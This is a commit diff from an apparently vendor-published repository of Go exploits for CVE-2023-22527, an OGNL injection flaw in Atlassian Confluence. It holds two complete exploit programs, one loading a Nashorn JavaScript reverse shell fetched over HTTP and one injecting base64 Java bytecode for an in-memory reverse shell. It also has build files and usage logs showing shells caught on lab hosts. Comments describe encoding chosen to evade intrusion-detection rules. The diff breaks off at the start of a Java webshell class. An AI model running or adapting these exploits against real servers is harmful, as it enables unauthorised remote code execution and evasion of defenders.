mirror of
https://github.com/vulncheck-oss/cve-2023-22527
synced 2026-06-08 18:05:07 +00:00
Initial commit
This commit is contained in:
@@ -186,7 +186,7 @@
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
Copyright 2024 VulnCheck
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
|
||||
@@ -1,2 +1,29 @@
|
||||
# cve-2023-22527
|
||||
Three examples of using CVE-2023-22527 to execute arbitrary code in memory
|
||||
# Executing Arbitrary Code In Confluence Memory
|
||||
|
||||
[CVE-2023-22527](https://nvd.nist.gov/vuln/detail/CVE-2023-22527) is a widely known vulnerability affecting Atlassian Confluence. Most exploits for this vulnerability use `freemarker.template.utility.Execute()` to execute an operating system command, but they can do so much better. In this repository you'll find three [go-exploit](https://github.com/vulncheck-oss/go-exploit) implementations of CVE-2023-22527 that execute their payload without touching disk (at least until the user directs them to).
|
||||
|
||||
You will find the exploits in the following subdirectories
|
||||
|
||||
* webshell: loads a webshell into memory
|
||||
* reverseshell: loads a reverse shell into memory
|
||||
* nashorn: loads a Nashorn JavaScript reverse shell into memory (only affects Atlassian Confluence using Java below version 15)
|
||||
|
||||
## Compiling
|
||||
|
||||
All the repositories come with a dockerfile. To build it simply:
|
||||
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
If you have a Go (and Java) build environment handy, you can also just use `make`:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/webshell$ make
|
||||
gofmt -d -w cve-2023-22527.go
|
||||
golangci-lint run --fix cve-2023-22527.go
|
||||
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
|
||||
Note: ABCDEFG.java uses or overrides a deprecated API.
|
||||
Note: Recompile with -Xlint:deprecation for details.
|
||||
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
|
||||
```
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
FROM golang:latest
|
||||
LABEL author="VulnCheck"
|
||||
LABEL website="https://vulncheck.com"
|
||||
|
||||
# build the binary in a subdirectory
|
||||
WORKDIR /vulncheck
|
||||
|
||||
# add all Go files
|
||||
COPY *.go ./
|
||||
|
||||
# add go.sum and go.mod
|
||||
COPY go.* ./
|
||||
|
||||
# add the Makefile
|
||||
COPY Makefile .
|
||||
|
||||
# change working directory and compile
|
||||
RUN make compile
|
||||
|
||||
# mv the compiled binary to a generic name because our generic makefile appends arch info
|
||||
RUN mv ./build/* ./exploit
|
||||
|
||||
# exec <3
|
||||
ENTRYPOINT ["/vulncheck/exploit"]
|
||||
@@ -0,0 +1,82 @@
|
||||
# Don't touch this variable
|
||||
export GO111MODULE := on
|
||||
|
||||
# HACK: "Detect" exploit and payload filenames
|
||||
exploit_files := $(wildcard cve-*.go)
|
||||
payload_files := $(wildcard *_shell.go)
|
||||
|
||||
# Don't touch these variables
|
||||
exploit_os := $(shell go env GOOS)
|
||||
exploit_arch := $(shell go env GOARCH)
|
||||
|
||||
# NOTE: Don't forget to update these variables
|
||||
payload_oses := #windows
|
||||
payload_archs := #amd64
|
||||
|
||||
# Output directory for binaries
|
||||
output_dir := build
|
||||
|
||||
# Don't touch this definition
|
||||
define newline
|
||||
|
||||
|
||||
endef
|
||||
|
||||
ifndef exploit_files
|
||||
$(error You haven't written any exploit code)
|
||||
endif
|
||||
|
||||
all: format lint compile
|
||||
|
||||
format:
|
||||
gofmt -d -w $(exploit_files) $(payload_files)
|
||||
|
||||
lint:
|
||||
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
|
||||
endif
|
||||
|
||||
compile: exploit payload extra
|
||||
|
||||
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
|
||||
exploit:
|
||||
$(foreach file,$(exploit_files),\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
|
||||
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
|
||||
|
||||
# Change this value if you need to
|
||||
payload: export GOARM := 7
|
||||
payload:
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),\
|
||||
$(foreach os,$(payload_oses),\
|
||||
$(foreach arch,$(payload_archs),\
|
||||
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
|
||||
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
|
||||
endif
|
||||
|
||||
# Add extra stuff to this recipe
|
||||
extra:
|
||||
|
||||
clean:
|
||||
@rm -rfv $(output_dir)
|
||||
|
||||
docker:
|
||||
@docker build --network=host -t $(notdir $(CURDIR)) .
|
||||
|
||||
# make darwin-amd64|darwin-arm64|...
|
||||
darwin-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
|
||||
|
||||
# make linux-amd64|linux-arm64|...
|
||||
linux-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
|
||||
|
||||
# make windows-amd64|windows-arm64|...
|
||||
windows-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
|
||||
@@ -0,0 +1,40 @@
|
||||
# In Memory Confluence Nashorn Reverse Shell
|
||||
|
||||
This will establish our Nashorn reverse shell on a Confluence target (if Confluence is using a Java version below 15). This exploit uses the Nashorn 'load' keyword to fetch the go-exploit Nashorn script via HTTP (to bypass the OGNL expression size limit). In a real world attack, this script could be stored on GitHub or similar hosting to avoid having to host the payload yourself.
|
||||
|
||||
## Compiling
|
||||
|
||||
To build a docker image:
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
If you have a Go build environment handy, you can also just use `make`:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/reverseshell$ make
|
||||
gofmt -d -w cve-2023-22527.go
|
||||
golangci-lint run --fix cve-2023-22527.go
|
||||
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
|
||||
```
|
||||
|
||||
## Usage Example (Encrypted Reverse Shell)
|
||||
|
||||
```sh
|
||||
^Calbinolobster@mournland:~/cve-2023-22527/nashorn$ sudo docker run -it --network=host nashorn -a -v -c -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.75 -lport 1270 -httpAddr 10.9.49.75
|
||||
time=2024-03-05T16:54:28.674Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
|
||||
time=2024-03-05T16:54:28.746Z level=STATUS msg="Starting TLS listener on 10.9.49.75:1270"
|
||||
time=2024-03-05T16:54:28.746Z level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=true
|
||||
time=2024-03-05T16:54:28.893Z level=STATUS msg="Validating Confluence target" host=10.9.49.88 port=8090
|
||||
time=2024-03-05T16:54:29.095Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true
|
||||
time=2024-03-05T16:54:29.095Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8090
|
||||
time=2024-03-05T16:54:29.213Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.88 port=8090 version=8.5.3
|
||||
time=2024-03-05T16:54:29.213Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes
|
||||
time=2024-03-05T16:54:29.213Z level=STATUS msg="HTTP server listening for 10.9.49.75:8080/OjvuCSACUpwc"
|
||||
time=2024-03-05T16:54:31.214Z level=STATUS msg="Sending exploit to http://10.9.49.88:8090/template/aui/text-inline.vm"
|
||||
time=2024-03-05T16:54:31.969Z level=STATUS msg="Sending payload"
|
||||
time=2024-03-05T16:54:33.429Z level=SUCCESS msg="Caught new shell from 10.9.49.88:38856"
|
||||
time=2024-03-05T16:54:33.429Z level=STATUS msg="Active shell from 10.9.49.88:38856"
|
||||
id
|
||||
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
|
||||
```
|
||||
@@ -0,0 +1,160 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/vulncheck-oss/go-exploit"
|
||||
"github.com/vulncheck-oss/go-exploit/c2"
|
||||
"github.com/vulncheck-oss/go-exploit/config"
|
||||
"github.com/vulncheck-oss/go-exploit/output"
|
||||
"github.com/vulncheck-oss/go-exploit/payload"
|
||||
"github.com/vulncheck-oss/go-exploit/protocol"
|
||||
"github.com/vulncheck-oss/go-exploit/random"
|
||||
)
|
||||
|
||||
var (
|
||||
globalHTTPAddr string
|
||||
globalHTTPPort int
|
||||
)
|
||||
|
||||
type ConfluenceOGNLExploit struct{}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
|
||||
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["X-Confluence-Request-Time"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["Set-Cookie"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
return strings.Contains(body, "confluence-context-path")
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
|
||||
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", url, "")
|
||||
if !ok {
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
if !strings.Contains(bodyString, "Atlassian Confluence") {
|
||||
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
|
||||
res := re.FindAllStringSubmatch(bodyString, -1)
|
||||
if len(res) == 0 {
|
||||
output.PrintError("Failed to extract the footer build information")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
version := res[0][1]
|
||||
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
|
||||
|
||||
versionArray := strings.Split(version, ".")
|
||||
if len(versionArray) != 3 {
|
||||
output.PrintfError("Unexpected version number")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
major, _ := strconv.Atoi(versionArray[0])
|
||||
minor, _ := strconv.Atoi(versionArray[1])
|
||||
point, _ := strconv.Atoi(versionArray[2])
|
||||
|
||||
if major != 8 {
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
switch {
|
||||
case minor < 5:
|
||||
return exploit.Vulnerable
|
||||
case minor == 5 && point <= 3:
|
||||
return exploit.Vulnerable
|
||||
default:
|
||||
}
|
||||
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
func httpServerStart() {
|
||||
_ = http.ListenAndServe(globalHTTPAddr+":"+strconv.Itoa(globalHTTPPort), nil)
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
|
||||
if len(globalHTTPAddr) == 0 {
|
||||
output.PrintError("The user must specify an address to bind the HTTP server to. Quitting.")
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// spin up and HTTP server to serve the Nashorn payload
|
||||
endpoint := "/" + random.RandLetters(12)
|
||||
http.HandleFunc(endpoint, func(w http.ResponseWriter, r *http.Request) {
|
||||
output.PrintStatus("Sending payload")
|
||||
_, _ = w.Write([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer)))
|
||||
})
|
||||
output.PrintfStatus("HTTP server listening for %s:%d%s", globalHTTPAddr, globalHTTPPort, endpoint)
|
||||
go httpServerStart()
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
// throw the exploit. encoding {} bypasses ET, same with KEY_velocity
|
||||
unused := random.RandLetters(5)
|
||||
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
||||
params := map[string]string{
|
||||
"label": "=" + unused + `\u0027%2b#request\u005b\u0027.K%45Y_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,%7B%7D)%2b\u0027&x=(new javax.script.ScriptEngineManager().getEngineByName('js').eval('load("` + protocol.GenerateURL(globalHTTPAddr, globalHTTPPort, false, endpoint) + `")'))`,
|
||||
}
|
||||
output.PrintfStatus("Sending exploit to %s", url)
|
||||
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", url, params)
|
||||
if ok {
|
||||
// we expect a context timeout, and ok to be false
|
||||
output.PrintError("Successful exploitation should trigger a timeout. It's likely the exploit failed.")
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Give the exploit a little to fetch the payload
|
||||
time.Sleep(10 * time.Second)
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&globalHTTPAddr, "httpAddr", "", "The address the HTTP server should bind to")
|
||||
flag.IntVar(&globalHTTPPort, "httpPort", 8080, "The port the HTTP server should bind to")
|
||||
|
||||
supportedC2 := []c2.Impl{
|
||||
c2.SSLShellServer,
|
||||
c2.SimpleShellServer,
|
||||
}
|
||||
conf := config.New(config.CodeExecution, supportedC2, "Confluence", "CVE-2023-22527", 8090)
|
||||
|
||||
sploit := ConfluenceOGNLExploit{}
|
||||
exploit.RunProgram(sploit, conf)
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
module github.com/vulncheck-oss/cve-2023-22527/nashorn
|
||||
|
||||
go 1.21.4
|
||||
|
||||
require github.com/vulncheck-oss/go-exploit v1.9.4
|
||||
|
||||
require (
|
||||
golang.org/x/net v0.22.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,6 @@
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
|
||||
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
|
||||
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
@@ -0,0 +1,24 @@
|
||||
FROM golang:latest
|
||||
LABEL author="VulnCheck"
|
||||
LABEL website="https://vulncheck.com"
|
||||
|
||||
# build the binary in a subdirectory
|
||||
WORKDIR /vulncheck
|
||||
|
||||
# add all Go files
|
||||
COPY *.go ./
|
||||
|
||||
# add go.sum and go.mod
|
||||
COPY go.* ./
|
||||
|
||||
# add the Makefile
|
||||
COPY Makefile .
|
||||
|
||||
# change working directory and compile
|
||||
RUN make compile
|
||||
|
||||
# mv the compiled binary to a generic name because our generic makefile appends arch info
|
||||
RUN mv ./build/* ./exploit
|
||||
|
||||
# exec <3
|
||||
ENTRYPOINT ["/vulncheck/exploit"]
|
||||
@@ -0,0 +1,82 @@
|
||||
# Don't touch this variable
|
||||
export GO111MODULE := on
|
||||
|
||||
# HACK: "Detect" exploit and payload filenames
|
||||
exploit_files := $(wildcard cve-*.go)
|
||||
payload_files := $(wildcard *_shell.go)
|
||||
|
||||
# Don't touch these variables
|
||||
exploit_os := $(shell go env GOOS)
|
||||
exploit_arch := $(shell go env GOARCH)
|
||||
|
||||
# NOTE: Don't forget to update these variables
|
||||
payload_oses := #windows
|
||||
payload_archs := #amd64
|
||||
|
||||
# Output directory for binaries
|
||||
output_dir := build
|
||||
|
||||
# Don't touch this definition
|
||||
define newline
|
||||
|
||||
|
||||
endef
|
||||
|
||||
ifndef exploit_files
|
||||
$(error You haven't written any exploit code)
|
||||
endif
|
||||
|
||||
all: format lint compile
|
||||
|
||||
format:
|
||||
gofmt -d -w $(exploit_files) $(payload_files)
|
||||
|
||||
lint:
|
||||
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
|
||||
endif
|
||||
|
||||
compile: exploit payload extra
|
||||
|
||||
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
|
||||
exploit:
|
||||
$(foreach file,$(exploit_files),\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
|
||||
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
|
||||
|
||||
# Change this value if you need to
|
||||
payload: export GOARM := 7
|
||||
payload:
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),\
|
||||
$(foreach os,$(payload_oses),\
|
||||
$(foreach arch,$(payload_archs),\
|
||||
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
|
||||
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
|
||||
endif
|
||||
|
||||
# Add extra stuff to this recipe
|
||||
extra:
|
||||
|
||||
clean:
|
||||
@rm -rfv $(output_dir)
|
||||
|
||||
docker:
|
||||
@docker build --network=host -t $(notdir $(CURDIR)) .
|
||||
|
||||
# make darwin-amd64|darwin-arm64|...
|
||||
darwin-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
|
||||
|
||||
# make linux-amd64|linux-arm64|...
|
||||
linux-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
|
||||
|
||||
# make windows-amd64|windows-arm64|...
|
||||
windows-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
|
||||
@@ -0,0 +1,44 @@
|
||||
# In Memory Confluence Reverse Shell
|
||||
|
||||
This exploit will load a reverse shell into Confluence's memory. The reverse shell originates from a binary blob in [go-exploit](https://github.com/vulncheck-oss/go-exploit/blob/52ad509980b3f5d6400236d0594011a579112a51/java/javaclass.go#L33).
|
||||
|
||||
## Compiling
|
||||
|
||||
To build a docker image:
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
If you have a Go build environment handy, you can also just use `make`:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/reverseshell$ make
|
||||
gofmt -d -w cve-2023-22527.go
|
||||
golangci-lint run --fix cve-2023-22527.go
|
||||
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
|
||||
```
|
||||
|
||||
## Usage Example
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/reverseshell$ sudo docker run -it --network=host reverseshell -a -v -c -e -rhost 10.9.49.76 -rport 8090 -lhost 10.9.49.75 -lport 1270
|
||||
time=2024-03-05T16:42:45.895Z level=STATUS msg="Starting listener on 10.9.49.75:1270"
|
||||
time=2024-03-05T16:42:45.895Z level=STATUS msg="Starting target" index=0 host=10.9.49.76 port=8090 ssl=false "ssl auto"=true
|
||||
time=2024-03-05T16:42:45.906Z level=STATUS msg="Validating Confluence target" host=10.9.49.76 port=8090
|
||||
time=2024-03-05T16:42:46.160Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.76 port=8090 verified=true
|
||||
time=2024-03-05T16:42:46.160Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.76 port=8090
|
||||
time=2024-03-05T16:42:46.352Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.76 port=8090 version=8.5.3
|
||||
time=2024-03-05T16:42:46.352Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.76 port=8090 vulnerable=yes
|
||||
time=2024-03-05T16:42:46.352Z level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.76:8090/template/aui/text-inline.vm"
|
||||
time=2024-03-05T16:42:46.587Z level=STATUS msg="Sending class CiXyUHob to http://10.9.49.76:8090/template/aui/text-inline.vm"
|
||||
time=2024-03-05T16:42:46.624Z level=SUCCESS msg="Caught new shell from 10.9.49.76:51465"
|
||||
time=2024-03-05T16:42:46.624Z level=STATUS msg="Active shell from 10.9.49.76:51465"
|
||||
|
||||
Microsoft Windows [Version 10.0.22000.2538]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\Atlassian\Confluence>
|
||||
C:\Program Files\Atlassian\Confluence>whoami
|
||||
whoami
|
||||
nt authority\network service
|
||||
```
|
||||
@@ -0,0 +1,167 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
b64 "encoding/base64"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/vulncheck-oss/go-exploit"
|
||||
"github.com/vulncheck-oss/go-exploit/c2"
|
||||
"github.com/vulncheck-oss/go-exploit/config"
|
||||
"github.com/vulncheck-oss/go-exploit/java"
|
||||
"github.com/vulncheck-oss/go-exploit/output"
|
||||
"github.com/vulncheck-oss/go-exploit/protocol"
|
||||
"github.com/vulncheck-oss/go-exploit/random"
|
||||
"github.com/vulncheck-oss/go-exploit/transform"
|
||||
)
|
||||
|
||||
type ConfluenceOGNLExploit struct{}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["X-Confluence-Request-Time"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["Set-Cookie"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
return strings.Contains(body, "confluence-context-path")
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", uri, "")
|
||||
if !ok {
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
re := regexp.MustCompile(`<span id='footer-build-information'>(\d+\.\d+.\d+)</span>`)
|
||||
res := re.FindAllStringSubmatch(bodyString, -1)
|
||||
if len(res) == 0 {
|
||||
output.PrintError("Failed to extract the footer build information")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
version := res[0][1]
|
||||
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
|
||||
|
||||
versionArray := strings.Split(version, ".")
|
||||
if len(versionArray) != 3 {
|
||||
output.PrintfError("Unexpected version number")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
major, _ := strconv.Atoi(versionArray[0])
|
||||
minor, _ := strconv.Atoi(versionArray[1])
|
||||
point, _ := strconv.Atoi(versionArray[2])
|
||||
|
||||
if major != 8 {
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
switch {
|
||||
case minor < 5:
|
||||
return exploit.Vulnerable
|
||||
case minor == 5 && point <= 3:
|
||||
return exploit.Vulnerable
|
||||
default:
|
||||
}
|
||||
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
// Send a request that encresses the max OGNL size so that we can send our payload.
|
||||
func adjustExpressLength(conf *config.Config) bool {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
||||
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
|
||||
|
||||
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
||||
unused := random.RandLetters(12)
|
||||
param := random.RandLetters(3)
|
||||
|
||||
// URL encoding everything bypasses ET rules
|
||||
params := map[string]string{
|
||||
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
|
||||
param + `,{})+\u0027`),
|
||||
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
|
||||
}
|
||||
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func sendShell(conf *config.Config) bool {
|
||||
// generate the class that Confluence will execute in memory
|
||||
reverseShell, className := java.ReverseShellBytecode(conf)
|
||||
encodedShell := b64.StdEncoding.EncodeToString([]byte(reverseShell))
|
||||
|
||||
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
||||
unused := random.RandLetters(12)
|
||||
param := random.RandLetters(3)
|
||||
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
||||
output.PrintfStatus("Sending class %s to %s", className, uri)
|
||||
|
||||
params := map[string]string{
|
||||
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + className +
|
||||
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
|
||||
"'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"),
|
||||
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
|
||||
param + `,{})+\u0027`),
|
||||
}
|
||||
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
|
||||
output.PrintError("Successful exploitation should trigger a timeout as the reverse shell holds the connection open")
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
|
||||
if !adjustExpressLength(conf) {
|
||||
return false
|
||||
}
|
||||
|
||||
return sendShell(conf)
|
||||
}
|
||||
|
||||
func main() {
|
||||
supportedC2 := []c2.Impl{
|
||||
c2.SimpleShellServer,
|
||||
}
|
||||
conf := config.New(config.CodeExecution, supportedC2, "Confluence", "CVE-2023-22527", 8090)
|
||||
|
||||
sploit := ConfluenceOGNLExploit{}
|
||||
exploit.RunProgram(sploit, conf)
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
module github.com/vulncheck-oss/cve-2023-22527/reverseshell
|
||||
|
||||
go 1.21.4
|
||||
|
||||
require github.com/vulncheck-oss/go-exploit v1.9.4
|
||||
|
||||
require (
|
||||
golang.org/x/net v0.22.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,6 @@
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
|
||||
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
|
||||
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
@@ -0,0 +1,72 @@
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
